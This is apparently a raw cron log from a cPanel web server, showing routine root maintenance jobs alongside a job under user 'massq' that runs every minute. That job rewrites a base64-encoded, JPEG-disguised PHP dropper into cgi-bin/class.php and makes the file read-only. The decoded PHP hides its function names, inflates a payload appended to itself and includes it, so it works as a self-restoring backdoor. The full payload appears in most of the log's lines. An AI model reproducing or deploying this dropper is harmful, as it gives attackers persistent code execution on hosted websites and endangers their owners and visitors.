Aug 31 17:26:01 server CROND[8126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:26:01 server CROND[8127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:27:02 server CROND[8512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:27:02 server CROND[8513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:27:02 server CROND[8515]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 17:27:02 server CROND[8514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:28:01 server CROND[8892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:28:01 server CROND[8893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:28:01 server CROND[8894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:29:01 server CROND[9304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:29:01 server CROND[9305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:29:01 server CROND[9306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:30:01 server CROND[9778]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 17:30:01 server CROND[9779]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:30:01 server CROND[9780]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 17:30:01 server CROND[9784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:30:01 server CROND[9781]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 17:30:01 server CROND[9782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:30:01 server CROND[9785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:30:01 server CROND[9786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:31:01 server CROND[10630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:31:01 server CROND[10631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:31:01 server CROND[10632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:32:01 server CROND[11008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:32:01 server CROND[11007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:32:01 server CROND[11009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:33:01 server CROND[11392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:33:01 server CROND[11393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:33:01 server CROND[11394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:34:01 server CROND[11792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:34:01 server CROND[11793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:34:01 server CROND[11795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:35:01 server CROND[12293]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 17:35:01 server CROND[12298]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 17:35:01 server CROND[12304]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 17:35:01 server CROND[12308]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:35:01 server CROND[12310]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:35:01 server CROND[12315]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 17:35:01 server CROND[12312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:35:01 server CROND[12313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:35:01 server CROND[12314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:36:01 server CROND[13201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:36:01 server CROND[13202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:36:01 server CROND[13203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:37:01 server CROND[13597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:37:01 server CROND[13598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:37:01 server CROND[13599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
